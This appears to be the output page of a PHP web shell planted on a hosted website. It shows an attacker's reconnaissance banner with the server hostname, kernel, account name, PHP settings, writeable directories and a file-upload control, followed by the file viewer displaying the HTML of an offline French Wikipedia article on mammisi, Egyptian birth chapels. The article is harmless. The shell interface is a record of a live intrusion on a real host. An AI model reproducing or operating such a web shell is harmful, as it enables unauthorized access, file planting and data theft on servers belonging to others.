Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/encyclo/articles/m/a/m/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/encyclo/articles/m/a/m/Mammisi.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr" dir="ltr">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<!-- headlinks removed -->
	<link rel="shortcut icon" href="../../../../misc/favicon.ico"/>
    <title>Mammisi - Wikipédia</title>
    <style type="text/css">/*<![CDATA[*/ @import "../../../../skins/offline/main.css"; /*]]>*/</style>
    <link rel="stylesheet" type="text/css" media="print" href="../../../../skins/common/commonPrint.css" />
    <!--[if lt IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE50Fixes.css";</style><![endif]-->
    <!--[if IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE55Fixes.css";</style><![endif]-->
    <!--[if IE 6]><style type="text/css">@import "../../../../skins/monobook/IE60Fixes.css";</style><![endif]-->
    <!--[if IE]><script type="text/javascript" src="../../../../skins/common/IEFixes.js"></script>
    <meta http-equiv="imagetoolbar" content="no" /><![endif]-->
    <script type="text/javascript" src="../../../../skins/common/wikibits.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/md5.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/utf8.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/lookup.js"></script>
    <script type="text/javascript" src="../../../../raw/gen.js"></script>        <style type="text/css">/*<![CDATA[*/
@import "../../../../raw/MediaWiki%7ECommon.css";
@import "../../../../raw/MediaWiki%7EMonobook.css";
@import "../../../../raw/gen.css";
/*]]>*/</style>          </head>
  <body
    class="ns-0">
    <div id="globalWrapper">
      <div id="column-content">
	<div id="content">
	  <a name="top" id="contentTop"></a>
	        <h1 class="firstHeading">Mammisi</h1>
	  <div id="bodyContent">
	    <h3 id="siteSub">Un article de Wikipédia, l'encyclopédie libre.</h3>
	    <div id="contentSub"></div>
	    	    	    <!-- start content -->
	    <table class="egyleft" id="WEgypte_antique_Histoire" cellspacing="0">
<tr>
<td>
<center><a href="../../../../articles/a/r/t/Image%7EArt-Egypte-antique-1.png_d07f.html" class="image" title="Image:Art-Egypte-antique-1.png"><img alt="Image:Art-Egypte-antique-1.png" src="../../../../images/local/8/8b/Art-Egypte-antique-1.png" width="170" height="120" border="0" /></a><br />
<small>Cet article fait partie de la série<br />
<b><a href="../../../../articles/a/r/t/Art_de_l%27%C3%89gypte_antique_4521.html" title="Art de l'Égypte antique">Art de l'Égypte antique</a></b></small></center>
</td>
</tr>
<tr>
<td bgcolor="#CCCCAA"><i>Périodes</i></td>
</tr>
<tr>
<td><a href="../../../../articles/a/r/t/Art_de_Nagada_cfed.html" title="Art de Nagada">Art de Nagada</a></td>
</tr>
<tr>
<td><a href="../../../../articles/a/r/t/Art_de_l%27%C3%A9poque_thinite.html" title="Art de l'époque thinite">Art de l'époque thinite</a></td>
</tr>
<tr>
<td><a href="../../../../articles/a/r/t/Art_de_l%27Ancien_Empire_%C3%A9gyptien_919d.html" title="Art de l'Ancien Empire égyptien">Art de l'Ancien Empire</a></td>
</tr>
<tr>
<td><a href="../../../../articles/a/r/t/Art_du_Moyen_Empire_%C3%A9gyptien_d9e2.html" title="Art du Moyen Empire égyptien">Art du Moyen Empire</a></td>
</tr>
<tr>
<td><a href="../../../../articles/a/r/t/Art_amarnien.html" title="Art amarnien">Art amarnien</a></td>
</tr>
<tr>
<td bgcolor="#CCCCAA"><i>Techniques</i></td>
</tr>
<tr>
<td><a href="../../../../articles/t/e/c/Techniques_de_gravure_%C3%A9gyptienne.html" title="Techniques de gravure égyptienne">Gravure</a></td>
</tr>
<tr>
<td bgcolor="#CCCCAA"><i>Symbolisme</i></td>
</tr>
<tr>
<td><a href="../../../../articles/%C3%A9/g/y/%C3%89gypte_antique%2C_Symbolique_des_couleurs_64f2.html" class="mw-redirect" title="Égypte antique, Symbolique des couleurs">Couleurs</a></td>
</tr>
<tr>
<td><a href="../../../../articles/%C3%A9/g/y/%C3%89gypte_antique%2C_Objets_symboliques_b734.html" class="mw-redirect" title="Égypte antique, Objets symboliques">Objets</a></td>
</tr>
</table>
<p>Un <b>mammisi</b> est une petite chapelle construite près d'un temple majeur, il servait aux représentations des mystères de la naissance divine. Le terme mammisi fut inventé par <a href="../../../../articles/j/e/a/Jean-Fran%C3%A7ois_Champollion_468c.html" title="Jean-François Champollion">Jean-François Champollion</a> au <a href="../../../../articles/x/i/x/XIXe_si%C3%A8cle_ab42.html" title="XIXe siècle"><span class="romain" title="Nombre&#160;écrit en chiffres romains">XIX</span><sup class="exposant">e</sup>&#160;siècle</a>.</p>
<p>Les exemples les plus célèbres que l'on peut encore visiter aujourd'hui datent pour la plupart des époques <a href="../../../../articles/d/y/n/Dynastie_des_Ptol%C3%A9m%C3%A9es_2d0c.html" title="Dynastie des Ptolémées">ptolémaïque</a> et <a href="../../../../articles/p/%C3%A9/r/P%C3%A9riode_romaine_de_l%27%C3%89gypte_92b3.html" title="Période romaine de l'Égypte">romaine</a>.</p>
<p><a name="Description" id="Description"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/m/a/m/Mammisi.html" title="Modifier la section&#160;: Description">modifier</a>]</span> <span class="mw-headline">Description</span></h2>
<p>Dans sa forme développée et connue, le mammisi le plus ancien date de <a href="../../../../articles/n/e/c/Nectan%C3%A9bo.html" title="Nectanébo">Nectanébo</a> de la <a href="../../../../articles/x/x/x/XXXe_dynastie_%C3%A9gyptienne_54db.html" title="XXXe dynastie égyptienne"><span class="romain" title="Nombre 30 écrit en chiffres romains" style="text-transform:uppercase">XXX</span><sup class="exposant">e</sup> dynastie</a> qui en édifia un premier à <a href="../../../../articles/d/e/n/Dend%C3%A9rah.html" title="Dendérah">Dendérah</a>. L'exemple sera alors suivi et répété dans chaque grand sanctuaire du pays reconstruit par les souverains gréco-romains. Outre <a href="../../../../articles/d/e/n/Dend%C3%A9rah.html" title="Dendérah">Dendérah</a>, on peut ainsi citer les mammisi d'<a href="../../../../articles/e/d/f/Edfou.html" title="Edfou">Edfou</a> et de <a href="../../../../articles/p/h/i/Philae.html" class="mw-redirect" title="Philae">Philae</a>, mais on en trouve également à <a href="../../../../articles/k/%C3%B4/m/K%C3%B4m_Ombo_9b9e.html" title="Kôm Ombo">Kôm Ombo</a>, <a href="../../../../articles/e/l/_/El_Kab_ffa9.html" title="El Kab">El Kab</a>, etc. Du fait de leur édification relativement récente ces monuments sont assez bien conservés méritant d'être davantage décrits et étudiés.</p>
<div class="thumb tleft">
<div class="thumbinner" style="width:272px;"><a href="../../../../articles/d/e/n/Image%7EDenderah_mammisi.JPG_7f5d.html" class="image" title="Mammisi de Denderah"><img alt="Mammisi de Denderah" src="../../../../images/shared/thumb/9/9f/Denderah_mammisi.JPG/270px-Denderah_mammisi.JPG" width="270" height="203" border="0" class="thumbimage" /></a>
<div class="thumbcaption">
<div class="magnify"><a href="../../../../articles/d/e/n/Image%7EDenderah_mammisi.JPG_7f5d.html" class="internal" title="Agrandir"><img src="../../../../skins/common/images/magnify-clip.png" width="15" height="11" alt="" /></a></div>
Mammisi de <a href="../../../../articles/d/e/n/Denderah.html" class="mw-redirect" title="Denderah">Denderah</a></div>
</div>
</div>
<p>Ils formaient en général des édifices périptères qui étaient placés soit perpendiculairement à l'axe du grand temple auquel ils étaient rattachés, comme à <a href="../../../../articles/d/e/n/Dend%C3%A9rah.html" title="Dendérah">Dendérah</a> ou <a href="../../../../articles/e/d/f/Edfou.html" title="Edfou">Edfou</a>, soit accolé au temple, comme à <a href="../../../../articles/p/h/i/Philae.html" class="mw-redirect" title="Philae">Philae</a>.</p>
<p>Les portiques qui entouraient le <a href="../../../../articles/n/a/o/Naos.html" title="Naos">naos</a> étaient constitués de colonnes à chapiteaux composites reliés entre eux par des murs bahuts ou murs d'entrecolonnement formant ainsi des panneaux illustrés où le souverain régnant sacrifiait et faisait offrande aux dieux.</p>
<p>Plusieurs salles se succédaient et étaient consacrées aux différentes étapes de la naissance divine. On y trouvait en général des représentations des déesses destinées à accompagner l'accouchement céleste ou encore garantes de la fertilité. <a href="../../../../articles/t/a/o/Taouret.html" title="Taouret">Thouéris</a>, <a href="../../../../articles/r/%C3%A2/t/R%C3%A2ttaouy.html" title="Râttaouy">Râttaouy</a>, les Sept <a href="../../../../articles/h/a/t/Hathor.html" title="Hathor">Hathor</a> qui présidaient à la naissance y étaient particulièrement vénérées mais on y retrouvait également <a href="../../../../articles/b/%C3%A8/s/B%C3%A8s.html" title="Bès">Bès</a> et <a href="../../../../articles/k/h/n/Khnoum.html" title="Khnoum">Khnoum</a> ainsi qu'<a href="../../../../articles/o/s/i/Osiris.html" title="Osiris">Osiris</a> en tant que dieux de la fertilité et de la prospérité.</p>
<p>Les mammisi formaient donc une traduction architecturale du mythe de la naissance divine et de son éternelle répétition. À dater de la fin de la <a href="../../../../articles/b/a/s/Basse_%C3%A9poque_%C3%A9gyptienne.html" title="Basse époque égyptienne">Basse époque</a> ces édifices viennent confirmer le rétablissement du pouvoir royal que chaque dynastie s'emploiera à affirmer au cœur même des grands sanctuaires du pays y compris les empereurs romains.</p>
<p><a name="Origines" id="Origines"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/m/a/m/Mammisi.html" title="Modifier la section&#160;: Origines">modifier</a>]</span> <span class="mw-headline">Origines</span></h2>
<div class="thumb tright">
<div class="thumbinner" style="width:272px;"><a href="../../../../articles/d/e/n/Image%7EDenderah_int%C3%A9rieur_mammisi.JPG_a9bf.html" class="image" title="Relief de la salle de la naissance divine du mammisi de Denderah"><img alt="Relief de la salle de la naissance divine du mammisi de Denderah" src="../../../../images/shared/thumb/5/5f/Denderah_intérieur_mammisi.JPG/270px-Denderah_intérieur_mammisi.JPG" width="270" height="203" border="0" class="thumbimage" /></a>
<div class="thumbcaption">
<div class="magnify"><a href="../../../../articles/d/e/n/Image%7EDenderah_int%C3%A9rieur_mammisi.JPG_a9bf.html" class="internal" title="Agrandir"><img src="../../../../skins/common/images/magnify-clip.png" width="15" height="11" alt="" /></a></div>
Relief de la salle de la naissance divine du mammisi de <a href="../../../../articles/d/e/n/Denderah.html" class="mw-redirect" title="Denderah">Denderah</a></div>
</div>
</div>
<p>L'origine et la fonction de ce type de sanctuaire seraient à rechercher dans les temples jubilaires et divins du <a href="../../../../articles/n/o/u/Nouvel_Empire_%C3%A9gyptien_d019.html" title="Nouvel Empire égyptien">Nouvel Empire</a> qui pour certains comportent des salles consacrées à la naissance divine du roi.</p>
<p>Ainsi le temple d'<a href="../../../../articles/h/a/t/Hatchepsout.html" title="Hatchepsout">Hatchepsout</a> à <a href="../../../../articles/d/e/i/Deir_el-Bahari_374d.html" title="Deir el-Bahari">Deir el-Bahari</a> présente les scènes d'une théogamie ou <a href="../../../../articles/a/m/o/Amon.html" title="Amon">Amon</a> visite la reine mère (mère se dit «&#160;mout&#160;» en égyptien ancien) et, la fécondant, conçoit l'héritier légitime du trône d'<a href="../../../../articles/h/o/r/Horus.html" title="Horus">Horus</a>. Ces scènes seront également reproduites au cœur même du <a href="../../../../articles/t/e/m/Temple_de_Louxor_0ad0.html" title="Temple de Louxor">temple de Louxor</a> par <a href="../../../../articles/a/m/%C3%A9/Am%C3%A9nophis_III_d7b6.html" title="Aménophis III">Amenhotep <span class="romain" title="Nombre 3 écrit en chiffres romains" style="text-transform:uppercase">III</span></a>.</p>
<p>Le <a href="../../../../articles/r/a/m/Ramess%C3%A9um.html" title="Ramesséum">Ramesséum</a> possédait un temple accolé consacré à la mère du roi. Il n'en reste que le plan au sol aujourd'hui mais des éléments ont été retrouvés remployés à <a href="../../../../articles/m/%C3%A9/d/M%C3%A9dinet_Habou_851b.html" title="Médinet Habou">Médinet Habou</a> et semblent suggérer que ce petit temple était également consacré à la naissance divine de <a href="../../../../articles/r/a/m/Rams%C3%A8s_II_5314.html" title="Ramsès II">Ramsès <span class="romain" title="Nombre 2 écrit en chiffres romains" style="text-transform:uppercase">II</span></a><sup id="cite_ref-0" class="reference"><a href="#cite_note-0" title=""><span class="cite_crochet">[</span>1<span class="cite_crochet">]</span></a></sup>.</p>
<p>À Karnak même, à proximité du temple de <a href="../../../../articles/m/o/u/Mout.html" title="Mout">Mout</a>, un petit temple restauré et agrandi par <a href="../../../../articles/a/m/%C3%A9/Am%C3%A9nophis_III_d7b6.html" title="Aménophis III">Amenhotep <span class="romain" title="Nombre 3 écrit en chiffres romains" style="text-transform:uppercase">III</span></a> était consacré au dieu <a href="../../../../articles/k/h/o/Khonsou.html" title="Khonsou">Khonsou</a> sous sa forme d'enfant de la triade thébaine.</p>
<p>Peu à peu avec la fin du Nouvel Empire, la royauté se morcela et remettant en cause le fondement dynastique et sa traduction cultuelle, le pays se trouvera divisé entre un pouvoir temporel au nord à <a href="../../../../articles/t/a/n/Tanis.html" title="Tanis">Tanis</a> et un pouvoir spirituel resté à <a href="../../../../articles/t/h/%C3%A8/Th%C3%A8bes_%28%C3%89gypte%29_d352.html" title="Thèbes (Égypte)">Thèbes</a>.</p>
<p>Cette transformation aboutirait à la Basse époque à la création du mammisi.</p>
<p><a name="Notes" id="Notes"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/m/a/m/Mammisi.html" title="Modifier la section&#160;: Notes">modifier</a>]</span> <span class="mw-headline">Notes</span></h2>
<div style="font-size: 85%">
<ol class="references">
<li id="cite_note-0"><span class="renvois_vers_le_texte"><a href="#cite_ref-0" title="">↑</a></span> <cite style="font-style:normal" class="ouvrage" id="CITEREF.5B.5BChristiane_Desroches_Noblecourt.5D.5D"><a href="../../../../articles/c/h/r/Christiane_Desroches_Noblecourt_7216.html" title="Christiane Desroches Noblecourt">Christiane Desroches Noblecourt</a>, <i>Ramsès <span class="romain" title="Nombre 2 écrit en chiffres romains" style="text-transform:uppercase">II</span> - La véritable histoire</i> <small>[<a href="../../../../articles/r/a/m/R%C3%A9f%C3%A9rence%7ERams%C3%A8s_II_-_La_v%C3%A9ritable_histoire_%28Christiane_Desroches_Noblecourt%29_f4f2.html" title="Référence:Ramsès II - La véritable histoire (Christiane Desroches Noblecourt)">détail des éditions</a>]</small></cite></li>
</ol>
</div>
<div class="cadre_portail">
<table rules="none" border="0" style="width:100%; clear:both; margin:0.2em; border:1px solid #AAAA80; background:#EFEFDD; color:#000000;">
<tr>
<td><a href="../../../../articles/s/p/h/Image%7ESphinxfront.jpg_0839.html" class="image" title="Sphinxfront.jpg"><img alt="" src="../../../../images/shared/thumb/c/c0/Sphinxfront.jpg/50px-Sphinxfront.jpg" width="50" height="34" border="0" /></a></td>
<td><b><a href="../../../../articles/e/g/y/Projet%7EEgyptopedia_788b.html" title="Projet:Egyptopedia">Egyptopedia</a></b></td>
<td>
<div style="font-size:x-small; padding-left:0.5em; border-left:solid 1px gray;">
<p><a href="../../../../articles/h/i/s/Histoire_de_l%27%C3%89gypte_antique_4bdb.html" title="Histoire de l'Égypte antique">Histoire</a>&#160;| <a href="../../../../articles/g/%C3%A9/o/G%C3%A9ographie_de_l%27%C3%89gypte_antique_b2e5.html" title="Géographie de l'Égypte antique">Géographie</a>&#160;| <a href="../../../../articles/o/r/g/Organisation_politique_de_l%27%C3%89gypte_antique_0254.html" title="Organisation politique de l'Égypte antique">Organisation politique</a>&#160;| <a href="../../../../articles/p/h/a/Pharaon.html" title="Pharaon">Pharaons</a>&#160;| <a href="../../../../articles/a/r/t/Art_de_l%27%C3%89gypte_antique_4521.html" title="Art de l'Égypte antique">Art</a>&#160;| <a href="../../../../articles/m/y/t/Mythologie_%C3%A9gyptienne.html" title="Mythologie égyptienne">Mythologie</a>&#160;| <a href="../../../../articles/d/i/v/Divinit%C3%A9s_%C3%A9gyptiennes.html" title="Divinités égyptiennes">Dieux</a>&#160;| <a href="../../../../articles/v/i/e/Vie_quotidienne_dans_l%27%C3%89gypte_antique_85f0.html" title="Vie quotidienne dans l'Égypte antique">Vie&#160;quotidienne</a>&#160;&#160;ʘ <a href="../../../../articles/%C3%A9/g/y/%C3%89gyptologue.html" title="Égyptologue">Égyptologues</a>&#160;| <a href="../../../../articles/b/i/b/Bibliographie_sur_l%27%C3%89gypte_antique_fb75.html" title="Bibliographie sur l'Égypte antique">Bibliographie</a>&#160;| <a href="../../../../articles/l/e/x/Lexique_%C3%A9gyptologique.html" title="Lexique égyptologique">Lexique</a></p>
</div>
</td>
</tr>
</table>
</div>
<ul id="bandeau-portail" class="bandeau-portail">
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/l/o/u/Image%7ELouvre_faucon.png_1925.html" class="image" title="Icône du portail de l’Égypte antique"><img alt="Icône du portail de l’Égypte antique" src="../../../../images/shared/thumb/f/f7/Louvre_faucon.png/36px-Louvre_faucon.png" width="36" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/e/g/y/Portail%7EEgyptopedia_b578.html" title="Portail:Egyptopedia">Portail de l’Égypte antique</a></span></span></li>
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/w/o/m/Image%7EWoman_head_louvre.gif_1dc4.html" class="image" title="Icône du portail de l’archéologie"><img alt="Icône du portail de l’archéologie" src="../../../../images/shared/thumb/8/81/Woman_head_louvre.gif/23px-Woman_head_louvre.gif" width="23" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/a/r/c/Portail%7EArch%C3%A9ologia_f719.html" title="Portail:Archéologia">Portail de l’archéologie</a></span></span></li>
</ul>


<!-- 
NewPP limit report
Preprocessor node count: 376/1000000
Post-expand include size: 7061/2048000 bytes
Template argument size: 1285/2048000 bytes
Expensive parser function count: 0/500
-->
<div class="printfooter">
</div>
	    <div id="catlinks"><div id='catlinks' class='catlinks'><div id="mw-normal-catlinks"><a href="../../../../articles/a/c/c/Cat%C3%A9gorie%7EAccueil_1aae.html" title="Catégorie:Accueil">Catégories</a>&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/i/n/d/Cat%C3%A9gorie%7EIndex_%C3%A9gyptologique_7110.html" title="Catégorie:Index égyptologique">Index égyptologique</a></span> | <span dir='ltr'><a href="../../../../articles/t/e/m/Cat%C3%A9gorie%7ETemple_%C3%A9gyptien_e588.html" title="Catégorie:Temple égyptien">Temple égyptien</a></span> | <span dir='ltr'><a href="../../../../articles/a/r/c/Cat%C3%A9gorie%7EArchitecture_%C3%A9gyptienne_antique_5124.html" title="Catégorie:Architecture égyptienne antique">Architecture égyptienne antique</a></span></div></div></div>	    <!-- end content -->
	    <div class="visualClear"></div>
	  </div>
	</div>
      </div>
      <div id="column-one">
	<div id="p-cactions" class="portlet">
	  <h5>Views</h5>
	  <ul>
	    <li id="ca-nstab-main"
	       class="selected"	       ><a href="../../../../articles/m/a/m/Mammisi.html">Article</a></li><li id="ca-talk"
	       	       ><a href="../../../../articles/m/a/m/Discuter%7EMammisi_f2bb.html">Discussion</a></li><li id="ca-current"
	       	       ><a href="http://fr.wikipedia.org/wiki/Mammisi">Version actuelle</a></li>	  </ul>
	</div>
	<div class="portlet" id="p-logo">
	  <a style="background-image: url(../../../../misc/Wiki.png);"
	    href="../../../../index.html"
	    title="Accueil"></a>
	</div>
	<script type="text/javascript"> if (window.isMSIE55) fixalpha(); </script>
		<div class='portlet' id='p-navigation'>
	  <h5>Navigation</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-mainpage"><a href="../../../../index.html">Accueil</a></li>
	     	      <li id="n-thema"><a href="../../../../articles/a/c/c/Portail%7EAccueil_bcc9.html">Portails thématiques</a></li>
	     	      <li id="n-alphindex"><a href="../../../../articles/t/o/u/Special%7EToutes_les_pages_fabc.html">Index alphabétique</a></li>
	     	      <li id="n-randompage"><a href="../../../../articles/p/a/g/Special%7EPage_au_hasard_9c81.html">Un article au hasard</a></li>
	     	      <li id="n-contact"><a href="../../../../articles/c/o/n/Wikip%C3%A9dia%7EContact_929e.html">Contacter Wikipédia</a></li>
	     	    </ul>
	  </div>
	</div>
		<div class='portlet' id='p-Contribuer'>
	  <h5>Contribuer</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-help"><a href="../../../../articles/s/o/m/Aide%7ESommaire_c9f0.html">Aide</a></li>
	     	      <li id="n-portal"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_5272.html">Communauté</a></li>
	     	      <li id="n-recentchanges"><a href="../../../../articles/m/o/d/Special%7EModifications_r%C3%A9centes_b222.html">Modifications récentes</a></li>
	     	      <li id="n-aboutwp"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_des_nouveaux_arrivants_0784.html">Accueil des nouveaux arrivants</a></li>
	     	      <li id="n-sitesupport"><a href="http://meta.wikimedia.org/wiki/Faire_un_don:_explication">Faire un don</a></li>
	     	    </ul>
	  </div>
	</div>
		<div id="p-search" class="portlet">
	  <h5><label for="searchInput">Rechercher</label></h5>
	  <div id="searchBody" class="pBody">
	    <form action="javascript:goToStatic(3)" id="searchform"><div>
	      <input id="searchInput" name="search" type="text"
	        accesskey="C" value="" />
	      <input type='submit' name="go" class="searchButton" id="searchGoButton"
	        value="Aller" />
	    </div></form>
	  </div>
	</div>
	<div id="p-lang" class="portlet">
	  <h5>Autres langues</h5>
	  <div class="pBody">
	    <ul>
	      	      <li>
	      <a href="../../../../../de/articles/m/a/m/Mammisi.html">Deutsch</a>
	      </li>
	      	      <li>
	      <a href="../../../../../en/articles/m/a/m/Mammisi.html">English</a>
	      </li>
	      	      <li>
	      <a href="../../../../../es/articles/m/a/m/Mammisi.html">Español</a>
	      </li>
	      	      <li>
	      <a href="../../../../../gl/articles/m/a/m/Mamisi.html">Galego</a>
	      </li>
	      	      <li>
	      <a href="../../../../../nl/articles/m/a/m/Mammisi.html">Nederlands</a>
	      </li>
	      	      <li>
	      <a href="../../../../../pl/articles/m/a/m/Mammisi.html">Polski</a>
	      </li>
	      	    </ul>
	  </div>
	</div>
	      </div><!-- end of the left (by default at least) column -->
      <div class="visualClear"></div>
      <div id="footer">
    <div id="f-poweredbyico"><a href="http://www.mediawiki.org/"><img src="../../../../skins/common/images/poweredby_mediawiki_88x31.png" alt="Powered by MediaWiki" /></a></div>	<div id="f-copyrightico"><a href="http://wikimediafoundation.org/"><img src="../../../../misc/wikimedia-button.png" border="0" alt="Wikimedia Foundation"/></a></div>	<ul id="f-list">
	  	  	  <li id="f-credits">Cette page a été modifiée pour la dernière fois le 3 avril 2008 à 08:51 par Utilisateur <a href="../../../../articles/n/%C3%A9/f/Utilisateur%7EN%C3%A9ferma%C3%A2t_6e4b.html" title="Utilisateur:Néfermaât">Néfermaât</a>. Basé sur le travail de Utilisateur(s) <a href="../../../../articles/b/a/d/Utilisateur%7EBadmood_4dbf.html" title="Utilisateur:Badmood">Badmood</a>, <a href="../../../../articles/p/i/x/Utilisateur%7EPixelBot_d78c.html" title="Utilisateur:PixelBot">PixelBot</a>, <a href="../../../../articles/b/o/u/Utilisateur%7EBouette_f89a.html" title="Utilisateur:Bouette">Bouette</a>, <a href="../../../../articles/s/e/b/Utilisateur%7ESebi_408d.html" title="Utilisateur:Sebi">Sebi</a>, <a href="../../../../articles/s/i/e/Utilisateur%7ESieBot_a9a8.html" title="Utilisateur:SieBot">SieBot</a>, <a href="../../../../articles/f/l/a/Utilisateur%7EFlaBot_bc06.html" title="Utilisateur:FlaBot">FlaBot</a>, <a href="../../../../articles/b/o/t/Utilisateur%7EBotMultichill_5179.html" title="Utilisateur:BotMultichill">BotMultichill</a>, <a href="../../../../articles/c/h/i/Utilisateur%7EChicobot_8e22.html" title="Utilisateur:Chicobot">Chicobot</a>, <a href="../../../../articles/j/e/r/Utilisateur%7EJerome66_56af.html" title="Utilisateur:Jerome66">Jerome66</a> et <a href="../../../../articles/a/o/i/Utilisateur%7EAoineko_fdb6.html" title="Utilisateur:Aoineko">Aoineko</a> et Utilisateur(s) non enregistré(s) de Wikipédia.</li>	  <li id="f-copyright"><span style="white-space:normal"><a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Droit_d'auteur" title="Droit d'auteur">Droit d'auteur</a> : Tous les textes sont disponibles sous les termes de la <a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Licence_de_documentation_libre_GNU" title="GFDL">licence de documentation libre GNU</a> (GFDL).<br/>
Wikipedia® est une marque déposée de la <a href="http://wikimediafoundation.org/wiki/Accueil" title="Wikimedia Foundation">Wikimedia Foundation, Inc.</a>, organisation de bienfaisance régie par le paragraphe <a class="internal" href="http://en.wikipedia.org/wiki/501(c)" title="501(c)">501(c)(3)</a> du code fiscal des États-Unis.</span><br/></li>	  <li id="f-about"><a href="../../../../articles/%C3%A0/_/p/Wikip%C3%A9dia%7E%C3%80_propos_5de1.html" title="Wikipédia:À propos">À propos de Wikipédia</a></li>	  <li id="f-disclaimer"><a href="../../../../articles/a/v/e/Wikip%C3%A9dia%7EAvertissements_g%C3%A9n%C3%A9raux_fef1.html" title="Wikipédia:Avertissements généraux">Avertissements</a></li>	  	</ul>
      </div>
    </div>
  </body>
</html>

SAMX